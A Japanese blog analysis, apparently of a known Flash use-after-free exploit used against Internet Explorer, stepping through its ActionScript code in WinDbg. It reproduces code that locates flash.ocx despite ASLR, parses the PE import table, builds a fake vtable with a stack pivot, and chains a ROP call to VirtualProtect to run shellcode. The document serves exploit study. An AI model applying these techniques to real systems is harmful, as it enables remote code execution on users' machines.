比較式の定数は、ともに見覚えがあります。0x00010c00 はベースアドレスを検索するときに最初に出てきました。0x1234 は、init_heap() で作った Sound オブジェクトの配列の長さです。0x00010c00 の意味が全く分からないのですが、0x00010c00 のある場所から 9*4=0x24 バイト目に配列の長さがある箇所を探しています。これをデバッガーで探します。といっても同時に 0x00010c00 と 0x00001234 は探せないので 1234 から。

0:028> s -d 1a000000 l1000000 0x00001234
0:028> s -d 1e000000 l1000000 0x00001234
0:028> s -d 22000000 l1000000 0x00001234
253b3024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253b8024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253bd024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c2024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c7024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253cc024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d1024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d6024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$

たくさん見つかりました。そのすべての下位バイトが 24 なので全部当たりのようです。

0:028> dd 253b3000-20
253b2fe0  00000000 00000000 00000000 00000000
253b2ff0  00000000 00000000 00000000 00000000
253b3000  00010c00 00004fe0 07c53000 07c47068
253b3010  24c3f000 253b3018 00000010 00000000
253b3020  70bb557c 00001234 24c3f021 24c3f021
253b3030  24c3f021 24c3f021 24c3f021 24c3f021
253b3040  24c3f021 24c3f021 24c3f021 24c3f021
253b3050  24c3f021 24c3f021 24c3f021 24c3f021
0:028> dd 253b8000-20
253b7fe0  00000000 00000000 00000000 00000000
253b7ff0  00000000 00000000 00000000 00000000
253b8000  00010c00 00004fe0 07c53000 07c47068
253b8010  253b3000 253b8018 00000010 00000000
253b8020  70bb557c 00001234 24c3f021 24c3f021
253b8030  24c3f021 24c3f021 24c3f021 24c3f021
253b8040  24c3f021 24c3f021 24c3f021 24c3f021
253b8050  24c3f021 24c3f021 24c3f021 24c3f021

ActionScript 上のオブジェクトが Windows 上でどうやって見えるか、という点については後で真面目に調べるとして、少なくとも 0x1234 という比較的特徴のある値が構造に含まれていることを根拠として、init_heap() で作成した Sound オブジェクトの配列である可能性が極めて高いと考えられます。さらに、どの構造においても 0x1234 の後に 24c3f021 という同じ値が繰り返し現れており、24c3f021 とは Sound オブジェクトそのものと考えるのが自然です。というわけで、soundobjref には Sound オブジェクトへのポインターとなる値 (上記例では 24c3f021) が入ります。+0x0A のところは B でも C でもよい、ということになります。

soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;

次の 2 つの文でいよいよ vtable を書き換えます。

this.s[index][dec/4-2]
⇔ this.s[index][( soundobjref-cvaddr-1)/4-2]
⇔ this.s[index][( soundobjref-0x1a001000-1)/4-2]
⇔ this.s[index][(soundobjref-1-0x1a001008)/4]

代入文の左辺は上記のように変形できるので、これは soundobjref-1 のアドレスに cvaddr+2*4+4*4 というアドレスを代入する文です。-1 って何だ、となりますが、上記例では Sound オブジェクトへのポインターとなる値が 24c3f021 となっていて、それを調整するためなのだろうとは推測できます。常に -1 しておけば問題ないのかどうか、どういう意味があるのか、については Flash の仕組みがまだ分からないので、深追いはせず保留です。

書き換えている部分は Sound オブジェクトの先頭のアドレスです。書き換わる前の状態を見てみると、確かに vtable です。下記の例だと24c3f020 のアドレスの 70b3438c となっている部分がcvaddr+2*4+4*4 = 1a001018 という値で置き換わります。

0:028> dd 24c3f020
24c3f020  70b3438c 400000ff 07f38f38 07fef298
24c3f030  00000000 00000000 07fb0430 00000000
0:028> dd 70b3438c
70b3438c  705ab130 70595440 701bfe10 705acca0
70b3439c  705ae4e0 70932300 70931c20 70932110
70b343ac  70932b20 70931ff0 70932750 709322b0
70b343bc  70932bf0 709323b0 70932d10 70932040
70b343cc  709327d0 70932630 70932d80 70931f80
70b343dc  70932830 70931e60 70932f30 70931b90
70b343ec  7095b000 709329d0 70932a30 70932a00
70b343fc  70931af0 7015d3d0 709328d0 7015d3d0
0:028> u 705ab130
Flash!DllUnregisterServer+0x147790:
705ab130 55              push    ebp
705ab131 8bec            mov     ebp,esp
705ab133 56              push    esi
705ab134 8bf1            mov     esi,ecx
705ab136 e845fcffff      call    Flash!DllUnregisterServer+0x1473e0 (705aad80)
705ab13b f6450801        test    byte ptr [ebp+8],1
705ab13f 8bc6            mov     eax,esi
705ab141 7414            je      Flash!DllUnregisterServer+0x1477b7 (705ab157)

1a001018 というアドレスは、偽の vtable になる部分で、これを作っているのが次のループです。sp は Stack Pivot のコードがあるアドレスです。this.s[index] は 1a001008 から始まるので、そこから 0x200*size(uint) バイトは、Stack Pivot のアドレスで埋まります。当然、1a001018 として設定された Sound オブジェクトの vtable は、ほぼ全部 Stack Pivot のアドレスで埋まることになります。こうすることで、Sound.toString() に限らず、大抵のメソッドを呼んでも Stack Pivot のコードが呼ばれることになります。

/*  Stack pivot */
for (i=0; i < 0x200; i++)
  this.s[index][i] = sp;

しかし、Stack Pivot として C394 が適切であると判断するためには、やはり Sound.toString() を実行したときにどのような命令が実行されるのかを知っている必要があります。なぜなら、Stack Pivot の効果は、eax レジスタのアドレスにあるアドレスにジャンプするというものだったので、ROP を成功させるためには、vtable 内のアドレスを call するときに eax に入っている値を制御できている必要があるからです。exploit を書く立場から考えると、Sound.toString() を選び、vtable のアドレスを呼ぶ近傍の命令からどのレジスターを制御できるかを考え、最後に Stack Pivot となる命令を選ぶ、という流れになるはずです。

ActionScript のコードを少し編集して、Stack Pivot の部分を C394 ではなく、int 3 を含む CCCC というコードを探索するようにして実行してみました。仮想テーブルからジャンプした後にブレークするので、ごにょごにょとデバッガー コマンドを叩いて情報を集めます。

0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc              int     3
0:005> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
028eb838 70185d70 Flash+0x1fc8
028eb844 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e3690
028eb8a0 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028eb950 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028eb974 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028eb9cc 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028eb9e8 7019d833 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028eba34 701c4882 Flash!IAEModule_AEModule_PutKernel+0x2fb153
028eba58 70186a37 Flash!IAEModule_AEModule_PutKernel+0x3221a2
028eba74 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e4357
028ebad0 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028ebaf4 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028ebb4c 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028ebb68 701b08f6 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028ebb84 701b2df7 Flash!IAEModule_AEModule_PutKernel+0x30e216
028ebc60 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x310717
028ebc64 08383d90 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028ebc68 00000000 0x8383d90
0:005> dd esp
028eb830  70158fc5 07faeec8 028eb844 70185d70
028eb840  241ff021 028eb8a0 7019dd98 07faeec8
028eb850  00000001 028eb8e0 07fce810 07faeec8
028eb860  08340fa0 00000000 00000000 07fce810
028eb870  07faeec8 08046600 028eb8e8 00000000
028eb880  00000000 00000000 00000000 00000000
028eb890  00000000 00000007 00000000 ad5aa7aa
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407            and     al,7
70158fb4 3c01            cmp     al,1
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904          cmp     ecx,4
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8          and     ecx,0FFFFFFF8h
70158fc0 8b01            mov     eax,dword ptr [ecx]
70158fc2 ff5078          call    dword ptr [eax+78h]

0:005> dd ecx l8
241ff020  1a001018 400000ff 0832ef38 08355d60
241ff030  00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018  768d5994 1a001c08 1a001000 00004000
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub
Exact matches:
    kernel32!VirtualProtectStub (<no parameter info>)

この呼び出し部分のコードが今回の ROP の一番のポイントです。シンボルがない部分なので、デバッガーの k コマンドはうまく動きません。しかし、このタイミングで esp レジスターは正しいスタック アドレスを指しているので、esp の先頭が Stack Pivot からの呼び出し元に戻るアドレス、Sound.toString() を ActionScript から実行したときに Win32 プロセスが実際に実行する関数を示しています。これに対して ub コマンドを実行すると、呼び出し元のアセンブリを見ることができます。

call 命令は indirect call で、オペランドは eax+78h が参照するアドレスになっています。つまり eax が vtable で、オフセット +78 のエントリを実行するのだとわかります。もう少し前を見ると、eax は ecx のアドレスから mov されており、ecx はその前で FFFFFFF8 と AND されています。前述のデバッグ結果と照合すると、ecx は Sound オブジェクトへのポインターと考えられます。配列の構造の中に含まれていた値は下位バイトが 1 で、ActionScript では -1 して利用していましたが、ここは FFFFFFF8 と AND する方が正しいことになります。おそらく、下位 3bit は何らかの状態を表すフラグとして使われているのでしょう。

ブレーク時点での eax の値を見ると、確かに1a001018 です。もちろんこれは exploit の buildPayload() がセットした vtable の値が反映された結果です。1a001018 から 200 個の Stack Pivot のアドレスを埋めましたが、実際には 1a001018+78 の 1 つだけをセットしておけば 十分だったと分かります。いずれにしろ、これで eip は乗っ取ることができました。

実際の exploit は、Stack Pivotとして C394 を選び、eax と esp を交換した後、ret が実行されます。call dword ptr [eax+78h] を実行して Stack Pivot のコードに制御が移ってからも、まだ eax レジスターはの値 1a001018 のままです。ここで eax と esp を交換することで、eip に引き続いて esp も乗っ取ることができるのです。実に巧妙です。

特に、toString() によって呼ばれる命令が call dword ptr [eax+78h] であるところがよく考えられています。実際に使われる vtable のエントリーのオフセットは +78 なので、eax と esp を交換した後、esp の先頭から 78 バイトは vtable ではなくスタック領域として自由に使えることになります。もし call するアドレスが [eax] や [eax+10] だったら、できることが限られてしまいます。

さて、buildPayload() のコードで残っているのは、レジスターを交換した後に偽のスタックとなる領域を作成する部分と、ペイロードを埋め込むコードです。

var sh:uint=0x300;
(snip)

/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;

/* Shellcode */
for(var u:String in shellcodeObj) {
  this.s[index][sh++] = Number(shellcodeObj[u]);
}

vtable、及び、交換後の esp は 1a001018、すなわち this.s[index][4] から始まります。よって先頭の 4 つは適当な値で埋めておきます。そのあとが、乗っ取られたあとのスタックです。[4] にセットしているのは前回頑張って PE イメージを解析して取得した VirtualProtect API の開始アドレスです。このアドレスが、Stack Pivot の ret 命令の後に実行されます。その後に続くのは、VirtualProtect に渡るパラメーターになります。

VirtualProtect の定義を MSDN で確認すると簡単に分かりますが、ここで指定されているパラメーターは、開始アドレス cvaddr+0xC00+8 から 0x4000 バイトの範囲に対して 0x40 という属性を設定するという意味を持ちます。0x40 はPAGE_EXECUTE_READWRITE という R/W/E 全てが可能な属性で、DEP を完全に無効化できます。開始アドレスの cvaddr+0xC00+8 は this.s[index][0xC00/4] = this.s[index][0x300] の場所を示しており、最後の for 文で埋め込んでいるペイロードの開始アドレスです。[9] の 0x1a002000 は、第4 引数のlpflOldProtect で、元のページ属性が保存されます。exploit には必要のない値ですが、MSDN によると、この値が NULL だったり無効なアドレスだと API が失敗するので、書き込み可能な適当なアドレスとして 0x1a002000 を選んで入れています。

最後は駆け足になった気がしますが、以上が exploit の全ての仕込みです。最後に Sound.toString() を呼ぶと、仕掛けが全部動いて、vtable → Stack Pivot → VirtualProtect → ペイロード、という順に落とし穴にハマっていきます。全貌は、スライドの図を改めてご覧ください。

偶然ですが、トレンドマイクロのブログ記事も見つかりました。この脆弱性、及び exploit は巷では相当有名なようですね。

Analysis of The Recent Zero-Day Vulnerability in IE9/IE10 | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-the-recent-zero-day-vulnerability-in-ie9ie10/

4. 残る疑問/宿題など

現時点でまだ分からないことのまとめ。時間があるときに調べます。むしろ誰か知っている人教えて下さい。

  • ASLR と、イメージのロードされるアドレスの制限について
    (2014-09-25 追記)
    下記 MSDN の ASLR の項目によると、DLL に関してはやはり下流の方の、範囲 16MB のところに制限されているらしい。
    Windows Administration: Inside the Windows Vista Kernel: Part 3
     http://technet.microsoft.com/en-us/magazine/2007.04.vistakernel.aspx?pr=blog
    ベースアドレスをばらつかせるメモリ マネージャー内のロジックはこれ・・・?もしやアセンブリ言語から C に変換したのだろうか。
    Positive Research Center: Windows 8 ASLR Internals
    http://blog.ptsecurity.com/2012/12/windows-8-aslr-internals.html
  • ActionScript のオブジェクトの構造について
    – 0x00010c00 の意味、その 32 バイト後にある vtable の謎
    – 配列の長さの後にある vtable は使えるのか
    – Sound オブジェクト関連の動作をどうやって事前に知るのか
    – Sound オブジェクト以外を使って ROP を開始してみる
  • JavaScript 側での細かい工夫をもう少し詳しく書いてみる
  • これまで使ってきたペイロードである meterpreter のデバッグ

Deep Dive into Exploit of Use-After-Free Vulnerability – 3

前回の記事で、脆弱性を利用してメモリの制御を奪うことまでできました。次にすることは、ROP (Return Oriented Programming) を行うための材料を集めます。ここで集めた材料を使って偽のスタック バッファーを作り、vtable を改竄して eip レジスターを乗っ取れば ROP は成功です。

2. ASLR 回避とインポート テーブル検索

ここで欲しいのは以下の情報です。

  • flash.ocx のベース アドレス
    → インポート テーブルから VirtualProtect API のアドレスを入手。コード領域の 0xC394 という部分を探すのにも使う。
  • VirtualProtect API のアドレス
    → DEP を回避し、Private Data 内に流し込んだペイロードを実行可能とマークするために必要。

上記の数値を取得するためには、ASLR でランダム化された flash.ocx のベースアドレスを探さないといけません。しかし、既にほぼ全てのメモリへアクセスが可能になっているので、既知のパターンに基づいてメモリ内を検索するだけでよく、ASLR 回避はそれほど難しいことではありません。前回指摘したように、配列の長さの次に保存されている vtable の値を使うこともできそうです。ベース アドレスさえ見つけてしまえば、あとは PE イメージの構造に基づいてコード領域やインポート テーブルを解析できるので、欲しい情報が入手できます。

と、言うわけで、今回はひたすら PE イメージの構造を解析します。分かれば単純なロジックですし、使い回せそうなコードですが、これを 1 から書いた人はやはり強者・・。

/*
*  Get flash module base address
*  index: index of vectors table
*  cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array {
  var baseflashaddr_off:uint = 0;
  var j:int = 0;
  var k:int = 0;
  var kmax:uint = 0;
  var vtableobj:int = 0;
  var ocxinfo:Array = new Array();

  while (1) {
    if (this.s[index][j] == 0x00010c00) {
      vtableobj = this.s[index][j+0x08] & 0xFFFF0000;

      /* Get ocx base address */
      k = 0;
      while (1) {
        if (this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D) {
          baseflashaddr_off = (vtableobj-cvaddr-k)/4 – 2;
          ocxinfo[0] = baseflashaddr_off;
          ocxinfo[1] = j;
          ocxinfo[2] = k;
          ocxinfo[3] = vtableobj;
          return ocxinfo;
        }

        k = k + 0x1000;
      }
    }

    j = j + 0x1;
  }

  return ocxinfo;
}

flash.ocx のベース アドレスを取得するロジックは getFlashBaseAddr() です。この中で最初にすることは、0x00010c00 という DWORD 値を見つけることです。以下は 1a000000 から検索していますが、実際にアクセス可能なのは 1a001008 からです。

0:028> s -d 1a000000 l1000000 0x00010c00
0:028> s -d 1e000000 l1000000 0x00010c00
0:028> s -d 22000000 l1000000 0x00010c00
2272f000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22733000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22805000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
229d6000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
25393000  00010c00 00001fe0 07c53000 07c47068  ………0..hp..
253b3000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
253b8000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
0:028> dd 2272f000 l10
2272f000  00010c00 00000fe0 07c53000 07c47068
2272f010  08387000 2272f018 00000010 00000000
2272f020  70bc6234 00000080 07d2e400 07d32400
2272f030  00000019 00000050 00000000 00000000
0:028> dd 22733000  l10
22733000  00010c00 00000fe0 07c53000 07c47068
22733010  2272f000 22733018 00000018 00000000
22733020  70bc5dc8 07fb9e50 07e52790 07ca9cf0
22733030  07fb08a0 00000000 00000022 00000000
0:028> dd 70bc6234
70bc6234  709871c0 7097c8b0 00000000 00000000
70bc6244  00000000 00000000 00000000 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)
0:028> dd 70bc5dc8
70bc5dc8  709871c0 70920ae0 709871c0 70920b30
70bc5dd8  709787d0 70920a10 75746572 74206e72
70bc5de8  73657079 6e6f6420 616d2074 0a686374
70bc5df8  00000000 76202020 20747269 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)

0x00010c00 の 8*sizeof(uint) バイト後にある DWORD (70bc6234 や70bc5dc8) を利用するわけですが、どれも vtable になっているようです。0x00010c00 とは何で、どうして 32 バイト後に vtable があるのかは不明です。既知の情報として、ActionScript を使った exploit ではいろいろ使えそうですが、そもそもどうやってこの情報を知り得たのかが気になります。

次のステップは、70bc6234 の下位 WORD を 0 クリアして、"this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D" という条件に満たす k を探します。vtableobj は 70bc0000 で、cvaddr は 1a001000 なので、左辺は this.s[index][(70bc0000-k-1a001008)/4] です。

ここで this.s の使い方を再考します。これは長さが 3fffffff に延長された配列で、そのアドレス位置は 1a001008 でした (長さを示す DWORD が 1a001000 にあり、その 8 バイト後から実データが始まるため)。したがって、this.s[index][x] という要素にアクセスすると、1a001008+x*4 のアドレスにある DWORD 値を参照していることになります。ここで、1a001008+x*4 = y ⇔ x = (y-1a001008)/4 なので、逆にアドレスが y にある DWORD 値を参照したければ、this.s[index][ (y-1a001008)/4] にアクセスすればよいことになります。

this.s[index][x] → 1a001008+x*4 にある DWORD 値
this.s[index][(y-1a001008)/4] → y にある DWORD 値

上記を当てはめると、左辺は 70bc0000-k というアドレスにある DWORD 値を比較しています。次に右辺ですが、これは MS-DOS 実行可能ファイルの先頭にある、いわゆる "MZ" ヘッダーです。

0:028> lm m kernel32
start    end        module name
77ad0000 77c00000   kernel32   (deferred)
0:028> db 77ad0000 l20
77ad0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
77ad0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….
0:028> lm m iexplore
start    end        module name
01210000 012cc000   iexplore   (deferred)
0:028> db 01210000 l20
01210000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
01210010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….

70bc0000-k のアドレスにある値を比較しつつ、k を 0x1000 ずつ増やしているので、これは vtable を含んでいるページから上の方に向って MZ ヘッダーを探していることが分かります。vtable はイメージ ファイルの中 (.rdata セクションあたり) に含まれているので、vtable のアドレスから上に向って MZ ヘッダーを探していけば、そのイメージのベース アドレスが見つかるというわけです。確率は低いですが、もし、先頭が MZ ヘッダーと同じであるページがベース アドレス以外に存在すると、このロジックは使えません。事前に手元の flash.ocx を使って同様の探索をしておき、ベースアドレスではない 0x00905A4D をスキップする処理を追加する必要があります。

getFlashBaseAddr() はベース アドレスを見つけると、4 つの値を配列に入れて返します。この方法は分かりにくいのでデザイン的にあまり好きじゃない・・・。今回紹介する VirtualProtect の探索だけでなく、後でコード領域を検索するときにも使います。

ocxinfo[0] = baseflashaddr_off; <<<< ベースアドレスにアクセスするための配列のインデックス
ocxinfo[1] = j; <<<< 0x00010c00 があるアドレスにアクセスするための配列のインデックス
ocxinfo[2] = k; <<<< vtableobj-k がflash.ocx のベースアドレスになる
ocxinfo[3] = vtableobj; <<<< vtable が存在する、flash.ocx イメージ内のページの先頭アドレス

いずれにしろ、ASLR でランダム化された flash.ocx の位置をつきとめました。次に、ここで得られた値使って getK32Index() を呼びます。関数名にある K32 とは kernel32.dll のことを示しており、getK32Index は、flash.ocx のインポート テーブルを解析して Kernel32.dll のセクションを探す関数です。さらに getK32Index の次に実行される関数 GetVirtualProtectStubAddr は KERNEL32!VirtualProtectStub のアドレスを取得します。

getK32Index() を実行する前の下記 2 行は、PE イメージの構造に基づいて、MZ ヘッダーからインポート テーブルにたどり着くためのオフセットを取得しています。

/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];

PE イメージの構造については、このへんを参考にしてください。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format
http://msdn.microsoft.com/en-us/magazine/cc301805.aspx

PE イメージは、ntdll!_IMAGE_DOS_HEADER 構造体で始まっており、MZ シグネチャーは e_magic です。1 行目のインデックスに含まれる 0x3C は、ntdll!_IMAGE_DOS_HEADER::e_lfanew へのオフセットを示しており、peindex には e_lfanew の値が入ります。

0:028> dt ntdll!_IMAGE_DOS_HEADER
   +0x000 e_magic          : Uint2B
   +0x002 e_cblp           : Uint2B
   +0x004 e_cp             : Uint2B
   +0x006 e_crlc           : Uint2B
   +0x008 e_cparhdr        : Uint2B
   +0x00a e_minalloc       : Uint2B
   +0x00c e_maxalloc       : Uint2B
   +0x00e e_ss             : Uint2B
   +0x010 e_sp             : Uint2B
   +0x012 e_csum           : Uint2B
   +0x014 e_ip             : Uint2B
   +0x016 e_cs             : Uint2B
   +0x018 e_lfarlc         : Uint2B
   +0x01a e_ovno           : Uint2B
   +0x01c e_res            : [4] Uint2B
   +0x024 e_oemid          : Uint2B
   +0x026 e_oeminfo        : Uint2B
   +0x028 e_res2           : [10] Uint2B
   +0x03c e_lfanew         : Int4B

e_lfanew は、PE ヘッダーへのオフセットを保持しています。したがって、2 行目のインデックスは、PE ヘッダーを起点として 0x18+0x60+0x8 をオフセットとするアドレスを参照しています。

PE ヘッダーは ntdll!_IMAGE_NT_HEADERS という構造体で表されます。0x18 は _IMAGE_OPTIONAL_HEADER までのオフセット、0x60 は _IMAGE_DATA_DIRECTORY の配列までのオフセットです。

0:028> lm m flash
start    end        module name
700c0000 70f1f000   Flash      (export symbols)       Flash.ocx
0:028> dt ntdll!_IMAGE_DOS_HEADER 700c0000 e_lfanew
   +0x03c e_lfanew : 0n352
0:028> dt ntdll!_IMAGE_NT_HEADERS
   +0x000 Signature        : Uint4B
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
  +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER
0:028> dt ntdll!_IMAGE_NT_HEADERS 700c0000+0n352 OptionalHeader.
   +0x018 OptionalHeader  :
      +0x000 Magic           : 0x10b
      +0x002 MajorLinkerVersion : 0xc ”
      +0x003 MinorLinkerVersion : 0 ”
      +0x004 SizeOfCode      : 0x98d400
      +0x008 SizeOfInitializedData : 0x4cdc00
      +0x00c SizeOfUninitializedData : 0
      +0x010 AddressOfEntryPoint : 0x95ce97
      +0x014 BaseOfCode      : 0x1000
      +0x018 BaseOfData      : 0x990000
      +0x01c ImageBase       : 0x700c0000
      +0x020 SectionAlignment : 0x1000
      +0x024 FileAlignment   : 0x200
      +0x028 MajorOperatingSystemVersion : 6
      +0x02a MinorOperatingSystemVersion : 0
      +0x02c MajorImageVersion : 0
      +0x02e MinorImageVersion : 0
      +0x030 MajorSubsystemVersion : 6
      +0x032 MinorSubsystemVersion : 0
      +0x034 Win32VersionValue : 0
      +0x038 SizeOfImage     : 0xe5f000
      +0x03c SizeOfHeaders   : 0x400
      +0x040 CheckSum        : 0xd5074b
      +0x044 Subsystem       : 2
      +0x046 DllCharacteristics : 0x140
      +0x048 SizeOfStackReserve : 0x100000
      +0x04c SizeOfStackCommit : 0x1000
      +0x050 SizeOfHeapReserve : 0x100000
      +0x054 SizeOfHeapCommit : 0x1000
      +0x058 LoaderFlags     : 0
      +0x05c NumberOfRvaAndSizes : 0x10
      +0x060 DataDirectory   : [16] _IMAGE_DATA_DIRECTORY

DataDirectory って何じゃい、ということで MSDN を参照すると、ばっちり定義が書いてあります。ntdll!_IMAGE_DATA_DIRECTORY それぞれのサイズは 8 バイトなので、インデックスの最後の +0x8 とは、DataDirectory[1]、すなわち MSDN によると "Import table address and size" のようです。おお、インポート テーブルが出てきましたね。

IMAGE_DATA_DIRECTORY structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305(v=vs.85).aspx

デバッガーで DataDirectory を全部出力するとこんな感じです。

0:028> dt -a16 ntdll!_IMAGE_DATA_DIRECTORY 700c0000+0n352+0x18+0x60
[0] @ 700c01d8
———————————————
   +0x000 VirtualAddress   : 0xb73d60
   +0x004 Size             : 0x11d
[1] @ 700c01e0
———————————————
   +0x000 VirtualAddress   : 0xb73e80
   +0x004 Size             : 0x1f4
[2] @ 700c01e8
———————————————
   +0x000 VirtualAddress   : 0xd62000
   +0x004 Size             : 0xa6c48
[3] @ 700c01f0
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[4] @ 700c01f8
———————————————
   +0x000 VirtualAddress   : 0xd47200
   +0x004 Size             : 0x23e0
[5] @ 700c0200
———————————————
   +0x000 VirtualAddress   : 0xe09000
   +0x004 Size             : 0x555d0
[6] @ 700c0208
———————————————
   +0x000 VirtualAddress   : 0x991000
   +0x004 Size             : 0x1c
[7] @ 700c0210
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[8] @ 700c0218
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[9] @ 700c0220
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[10] @ 700c0228
———————————————
   +0x000 VirtualAddress   : 0xb624b0
   +0x004 Size             : 0x40
[11] @ 700c0230
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[12] @ 700c0238
———————————————
   +0x000 VirtualAddress   : 0x990000
   +0x004 Size             : 0xaf0
[13] @ 700c0240
———————————————
   +0x000 VirtualAddress   : 0xb73c44
   +0x004 Size             : 0x60
[14] @ 700c0248
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[15] @ 700c0250
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0

!dh コマンドを使うと一発でここまでたどり着けます。dumpbin みたいなもんです。

0:028> !dh flash

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       6 number of sections
(snip)
  B73D60 [     11D] address [size] of Export Directory
  B73E80 [     1F4] address [size] of Import Directory
  D62000 [   A6C48] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
  D47200 [    23E0] address [size] of Security Directory
  E09000 [   555D0] address [size] of Base Relocation Directory
  991000 [      1C] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
  B624B0 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
(snip)

